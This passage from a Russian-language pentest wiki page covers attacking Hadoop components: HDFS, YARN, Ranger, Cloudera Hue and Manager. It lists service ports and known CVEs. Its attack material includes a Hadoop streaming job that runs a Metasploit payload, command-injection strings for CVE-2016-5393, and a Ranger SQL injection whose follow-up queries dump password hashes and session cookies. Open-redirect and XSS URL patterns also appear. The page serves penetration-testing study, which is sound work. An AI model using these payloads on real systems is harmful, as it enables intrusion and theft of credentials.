-mapper &amp;quot;./msf.payload&amp;quot; \&lt;br /&gt;
-reducer NONE \&lt;br /&gt;
-file msf.payload \&lt;br /&gt;
-background&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== RCE - CVE-2016-5393 ===&lt;br /&gt;
&lt;br /&gt;
'''Уязвимая версия:''' Hadoop 2.6.x &amp;lt; 2.6.5 and 2.7.x &amp;lt; 2.7.3&lt;br /&gt;
&lt;br /&gt;
'''Требования:''' должен быть авторизован и у кластера должны быть включены параметры &amp;quot;org.apache.hadoop.security.ShellBasedUnixGroupsMapping&amp;quot; и &amp;quot;hadoop.security.group.mapping&amp;quot; (конфиг core-site.xml) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cуть в том, что функция получения групп для пользователя не экранирует специальные символы и вставляет строку в &amp;quot;bash -c&amp;quot;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
hdfs groups '$(ping 127.0.0.1)'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - через WebHDFS. Но для этого требуется &amp;quot;Simple Auth&amp;quot;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
.../?user.name=$(ping+127.0.0.1)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Hadoop%20components%20vulnerabilities/Hadoop%20Common/CVE-2016-5393%20-%20Authenticated%20command%20execution%20as%20the%20hdfs%20user&lt;br /&gt;
&lt;br /&gt;
= HDFS =&lt;br /&gt;
&lt;br /&gt;
HDFS (Hadoop FileSystem) - это виртуальная файловая система Hadoop, доступная по сети.&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== MasterNode (NameNode) WebUI ===&lt;br /&gt;
&lt;br /&gt;
Это веб-интерфейс, запущенный на портах 50070(http) и 50470(https). Обычно на нем отсутствует аутентификация, поэтому его можно использовать для доступа к файловой системе.&lt;br /&gt;
&lt;br /&gt;
Основная страница доступна по адресу /explorer.html, а при выборе даты перенаправляет на соответствующую DataNode (порт 50075).&lt;br /&gt;
&lt;br /&gt;
=== MasterNode Metadata Service ===&lt;br /&gt;
&lt;br /&gt;
Использует протокол IPC  на  портах 8020 и 9000. Требуется для взаимодействия с метадатой файлов HDFS.&lt;br /&gt;
&lt;br /&gt;
Команды для взаимодействия:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получение списка файлов (и их метадаты)&lt;br /&gt;
hadoop fs -ls /tmp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DataNode WebUI ===&lt;br /&gt;
&lt;br /&gt;
Веб-интерфейс для доступа к статусу, логам и тд. Запускается на 50075(http) и 50475(https) портах.&lt;br /&gt;
&lt;br /&gt;
Доступно по пути /browseDirectory.jsp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== hdfsbrowser.py ====&lt;br /&gt;
Для взаимодействия с ним можно воспользоваться скриптом https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Browsing%20the%20HDFS%20datalake :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# В скрипте также можно указать порт, протокол&lt;br /&gt;
python hdfsbrowser.py 10.10.10.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Интересно, что утилита автоматически подставляет нужного пользователя - владельца файла или ноды.&lt;br /&gt;
&lt;br /&gt;
==== hadoop cli ====&lt;br /&gt;
&lt;br /&gt;
Для получения списка файлов требуется в переменной окружения &amp;quot;HADOOP_USER_NAME&amp;quot; указать нужного пользователя, например, root или hbase:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
export HADOOP_USER_NAME=hbase&lt;br /&gt;
hadoop fs -ls /hbase&lt;br /&gt;
hadoop fs –cat /output_directory_on_HDFS/part-00000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Для этого может потребоваться конфиг hadoop (в основной главе)&lt;br /&gt;
&lt;br /&gt;
=== DataNode Data Transfer ===&lt;br /&gt;
&lt;br /&gt;
Сервис для передачи данных в DataNode. Использует порт 50010&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Отправить файл на HDFS&lt;br /&gt;
hadoop fs -put &amp;lt;localfile&amp;gt; &amp;lt;remotedst&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DataNode Metadata Service ===&lt;br /&gt;
&lt;br /&gt;
Использует протокол IPC на порту 50020. Требуется для взаимодействия с метадатой файлов HDFS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Secondary Node Checkpoint Service (Secondary NameNode WebUI) ===&lt;br /&gt;
&lt;br /&gt;
Запущен на порту 50090 по протоколу http. Как понял используется для сохранения данных метадаты (запасное хранилище).&lt;br /&gt;
&lt;br /&gt;
= YARN =&lt;br /&gt;
&lt;br /&gt;
== Интерфейсы (сервисы) ==&lt;br /&gt;
&lt;br /&gt;
=== Application Manager ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8032 &lt;br /&gt;
&lt;br /&gt;
Протокол: http&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.address&lt;br /&gt;
&lt;br /&gt;
=== Scheduler ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8030&lt;br /&gt;
&lt;br /&gt;
Протокол: http&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.scheduler.address&lt;br /&gt;
&lt;br /&gt;
=== ResourceManager Web Application ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8088, 8090&lt;br /&gt;
&lt;br /&gt;
Протокол: http(8088), https(8090)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.webapp.address, yarn.resourcemanager.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
=== ResourceManager Tracker ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8031&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.resource-tracker.address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== ResourceManager Admin ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8033&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.admin.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager СontainerManager ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 0&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.nodemanager.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager Localizer ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8040&lt;br /&gt;
&lt;br /&gt;
Протокол: ??? (IPC)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.nodemanager.localizer.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager Collector Service ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8048&lt;br /&gt;
&lt;br /&gt;
Протокол: ??? (IPC)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.nodemanager.collector-service.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8042, 8044&lt;br /&gt;
&lt;br /&gt;
Протокол: http(8042), https(8044)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.nodemanager.webapp.address, yarn.nodemanager.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager Timeline RPC ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 10200&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.timeline-service.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager Timeline WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8188, 8190&lt;br /&gt;
&lt;br /&gt;
Протокол: http(8188), https(8190)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.timeline-service.webapp.address, yarn.timeline-service.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
=== SharedCacheManager Admin ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8047&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.sharedcache.admin.address&lt;br /&gt;
&lt;br /&gt;
=== SharedCacheManager WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8788&lt;br /&gt;
&lt;br /&gt;
Протокол: ???(http)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.sharedcache.webapp.address&lt;br /&gt;
&lt;br /&gt;
=== SharedCacheManager Node Manager ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8046&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.sharedcache.uploader.server.address&lt;br /&gt;
&lt;br /&gt;
=== SharedCacheManager Client ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8045&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.sharedcache.client-server.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager AMRMProxyService ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8049&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.nodemanager.amrmproxy.address&lt;br /&gt;
&lt;br /&gt;
=== Router WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8089, 8091&lt;br /&gt;
&lt;br /&gt;
Протокол: http(8089), https(8091)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.router.webapp.address, yarn.router.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
=== HttpFS (Hadoop HDFS over HTTP) ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 14000, 14001&lt;br /&gt;
&lt;br /&gt;
Протокол: http(14000), 14001(https)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
= Apache HBASE =&lt;br /&gt;
&lt;br /&gt;
= ZooKeeper =&lt;br /&gt;
&lt;br /&gt;
= Apache Ambari =&lt;br /&gt;
&lt;br /&gt;
Нужен для упрощения управления кластерами Hadoop, используя WebUI. Есть возможность интегрироваться с другими приложениями по REST API.&lt;br /&gt;
&lt;br /&gt;
Из интересного:&lt;br /&gt;
&lt;br /&gt;
- Все могут авторизоваться (даже стандартные юзеры)&lt;br /&gt;
&lt;br /&gt;
- Нет защиты (directory listing, no cookie flags, no CSRF)&lt;br /&gt;
&lt;br /&gt;
- CVE-2015-1775 - /logs/ логи&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== WebUI ===&lt;br /&gt;
&lt;br /&gt;
Общение по протоколу http (порт 8080) и https (порт 8440). &lt;br /&gt;
&lt;br /&gt;
=== Registration/Heartbeat ===&lt;br /&gt;
&lt;br /&gt;
Общение по протоколу https на порту 8441.&lt;br /&gt;
&lt;br /&gt;
=== Agent ===&lt;br /&gt;
&lt;br /&gt;
Порт 8670/tcp используется для Ping.&lt;br /&gt;
&lt;br /&gt;
= Apache Spark =&lt;br /&gt;
&lt;br /&gt;
= Apache Kafka/Storm =&lt;br /&gt;
&lt;br /&gt;
= Apache HIVE / DRILL =&lt;br /&gt;
&lt;br /&gt;
= Mahout =&lt;br /&gt;
&lt;br /&gt;
= Apache Solr / Lucene = &lt;br /&gt;
&lt;br /&gt;
= Apache Ranger =&lt;br /&gt;
&lt;br /&gt;
Компонент безопасности Hadoop с открытым исходным кодом.&lt;br /&gt;
&lt;br /&gt;
Из интересного:&lt;br /&gt;
&lt;br /&gt;
- Поддержка Kerberos&lt;br /&gt;
&lt;br /&gt;
- REST API&lt;br /&gt;
&lt;br /&gt;
- Журналы аудита&lt;br /&gt;
&lt;br /&gt;
- Модель разрешений на основе политики доступа (политики, юзеры, группы)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Интересные ИБ-проблемы:&lt;br /&gt;
&lt;br /&gt;
- Slow HTTP DOS&lt;br /&gt;
&lt;br /&gt;
- Все юзеры могут авторизоваться в Ranger (но не все - выполнять действия)&lt;br /&gt;
&lt;br /&gt;
- CVE-2015-0266 - Missing function level access control, можно использовать для повышения привилегий&lt;br /&gt;
&lt;br /&gt;
- CVE-2015-0265 - XSS в UserAgent&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
TODO: изучить как работает&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://ranger.apache.org/apidocs/index.html - API документация&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== Admin  WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт: 6080, 6182&lt;br /&gt;
&lt;br /&gt;
Протокол: http(6180),https(6182)&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: ranger.service.http.port, ranger.service.https.port&lt;br /&gt;
&lt;br /&gt;
==== Уязвимости ====&lt;br /&gt;
&lt;br /&gt;
* Скачивание политик без аутентификации. Но нужно знать имя политики. (версия меньше или равна 0.5.2)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/service/plugins/policies/download/&amp;lt;policy_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Third-party%20modules%20vulnerabilities/Apache%20Ranger/Unauthenticated%20policy%20download&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-2174 - SQL injection.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/service/plugins/policies/eventTime?eventTime=' or '1'='1&amp;amp;policyId=1&lt;br /&gt;
&lt;br /&gt;
# post-exploitation: скачать хеши паролей пользователей (md5 или sha512):&lt;br /&gt;
select last_name, first_name, email, login_id, password, user_role from x_portal_user, x_portal_user_role where x_portal_user.id = x_portal_user_role.user_id limit 3&lt;br /&gt;
&lt;br /&gt;
# post-exploitation: скачать сессии(куки) пользователей):&lt;br /&gt;
select auth_time, login_id, ext_sess_id from x_auth_sess where auth_status = 1 or (login_id like '%admin%' and auth_status = 1) order by auth_time desc limit 3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Third-party%20modules%20vulnerabilities/Apache%20Ranger/CVE-2016-2174%20-%20Authenticated%20SQL%20injection&lt;br /&gt;
&lt;br /&gt;
===  UNIX Auth Service ===&lt;br /&gt;
&lt;br /&gt;
Порт: 5151&lt;br /&gt;
&lt;br /&gt;
Протокол: SSL/TCP&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: ranger.usersync.port&lt;br /&gt;
&lt;br /&gt;
===  Ranger KMS ===&lt;br /&gt;
&lt;br /&gt;
Порт: 9292, 9293&lt;br /&gt;
&lt;br /&gt;
Протокол: http(9292), https(9293)&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: ranger.service.http.port, ranger.service.https.port&lt;br /&gt;
&lt;br /&gt;
=== Solr Audit ===&lt;br /&gt;
&lt;br /&gt;
Порт: 6083, 6183&lt;br /&gt;
&lt;br /&gt;
Протокол: http(6083), https(6183)&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: ranger-admin (???)&lt;br /&gt;
&lt;br /&gt;
= OOZIE =&lt;br /&gt;
&lt;br /&gt;
Серверная система планирования рабочих процессов для управления заданиями Hadoop. Рабочие процессы в Oozie определяются как набор потоков управления и узлов действий в ориентированном ациклическом графе.&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== Web Console ===&lt;br /&gt;
&lt;br /&gt;
Порт: 11000, 11443&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP(11000), HTTPS(11443)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Admin service ==&lt;br /&gt;
&lt;br /&gt;
Порт: 11001&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
= PIG =&lt;br /&gt;
&lt;br /&gt;
= Apache Hue =&lt;br /&gt;
&lt;br /&gt;
Облачный редактор SQL с открытым исходным кодом. Упоминается тут тк часто используется вместе с Hadoop. Использует порт 8888 по протоколу HTTP. &lt;br /&gt;
&lt;br /&gt;
В старых версиях также присутствует DOM XSS, включена отладка, есть заголовок X-Frame-Options: ALLOWALL.&lt;br /&gt;
&lt;br /&gt;
= MapReduce =&lt;br /&gt;
&lt;br /&gt;
Модель распределённых вычислений от компании Google, используемая в технологиях Big Data для параллельных вычислений над очень большими (до нескольких петабайт) наборами данных в компьютерных кластерах, и фреймворк для вычисления распределенных задач на узлах (node) кластера&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== Jobhistory ===&lt;br /&gt;
&lt;br /&gt;
Порт: 10020&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.jobhistory.address&lt;br /&gt;
&lt;br /&gt;
=== JobTracker ===&lt;br /&gt;
&lt;br /&gt;
Порт: 8021&lt;br /&gt;
&lt;br /&gt;
Протокол: IPC&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapred.job.tracker&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Доступно только в MapReduce v1&lt;br /&gt;
&lt;br /&gt;
=== JobTracker WebUI v1 ===&lt;br /&gt;
&lt;br /&gt;
Порт: 50030&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapred.job.tracker.http.address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Доступно только в MapReduce v1&lt;br /&gt;
&lt;br /&gt;
=== Jobhistory WebUI v2 ===&lt;br /&gt;
&lt;br /&gt;
Порт: 19888, 19890&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP(19888), HTTPS(19890)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.jobhistory.webapp.address, mapreduce.jobhistory.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
Доступен только в MapReduce v2&lt;br /&gt;
&lt;br /&gt;
=== Jobhistory Shufflee ===&lt;br /&gt;
&lt;br /&gt;
Порт: 13562&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.shuffle.port&lt;br /&gt;
&lt;br /&gt;
=== Jobhistory Shufflee WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт: 19890&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTPS&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.jobhistory.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== TaskTracker WebUI v1 ===&lt;br /&gt;
&lt;br /&gt;
Порт: 50060&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapred.task.tracker.http.address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Доступно только в MapReduce v1&lt;br /&gt;
&lt;br /&gt;
=== History Server WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт: 51111&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.history.server.http.address&lt;br /&gt;
&lt;br /&gt;
= Cloudera =&lt;br /&gt;
&lt;br /&gt;
Экосистема Hadoop от компании Cloudera&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== HUE ===&lt;br /&gt;
&lt;br /&gt;
Работает на порту 8888 по протоколу HTTP.&lt;br /&gt;
&lt;br /&gt;
==== Уязвимости ====&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-4947 - вычисление пользователей из непривилегированного аккаунта (версия меньше или равна 3.9.0):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/desktop/api/users/autocomplete&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-4946 - хранимая XSS (версия меньше или равна 3.9.0). Находится во вкладке Hue Users - Edit user в полях First name и Last name.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Open redirect (версия меньше или равна 3.9.0).&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/accounts/login/?next=//[domain_name]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Manager ===&lt;br /&gt;
&lt;br /&gt;
Работает на порту 7180(http) и 7183(https).&lt;br /&gt;
&lt;br /&gt;
==== Уязвимости ====&lt;br /&gt;
&lt;br /&gt;
* Получение списка пользователей (версия меньше или равна 5.5)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/api/v1/users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Вычисление пользовательских сессий из непривилегированного аккаунта (CVE-2016-4950) (версия меньше или равна 5.5):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/api/v1/users/sessions&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Доступ к логам процесса(process_id можно перебрать) (версия меньше или равна 5.5):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/cmf/process/&amp;lt;process_id&amp;gt;/logs?filename={stderr,stdout}.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-4948 - Stored XSS  (версия меньше или равна 5.5)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-4948 - Reflected XSS (версия меньше или равна 5.5):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/cmf/cloudera-director/redirect?classicWizard=[XSS]&amp;amp;clusterid=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Hadoop Attack Library ==&lt;br /&gt;
&lt;br /&gt;
https://github.com/wavestone-cdt/hadoop-attack-library&lt;br /&gt;
&lt;br /&gt;
=== hadoopsnooper.py ===&lt;br /&gt;
https://github.com/wavestone-cdt/hadoop-attack-library/blob/master/Tools%20Techniques%20and%20Procedures/Getting%20the%20target%20environment%20configuration/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Скрипт для получения конфига hadoop&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== hdfsbrowser.py ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Browsing%20the%20HDFS%20datalake&lt;br /&gt;
&lt;br /&gt;
Скрипт для рааботы с WebHDFS. В скрипте также можно указать порт, протокол&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
python hdfsbrowser.py 10.10.10.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Видео ==&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
== Презентации ==&lt;br /&gt;
&lt;br /&gt;
https://2015.zeronights.org/assets/files/03-Kaluzny.pdf&lt;br /&gt;
&lt;br /&gt;
https://2016.zeronights.ru/wp-content/uploads/2016/12/Wavestone-ZeroNights-2016-Hadoop-safari-Hunting-for-vulnerabilities-v1.0.pdf&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Aws&amp;diff=1205</id>
		<title>Aws</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Aws&amp;diff=1205"/>
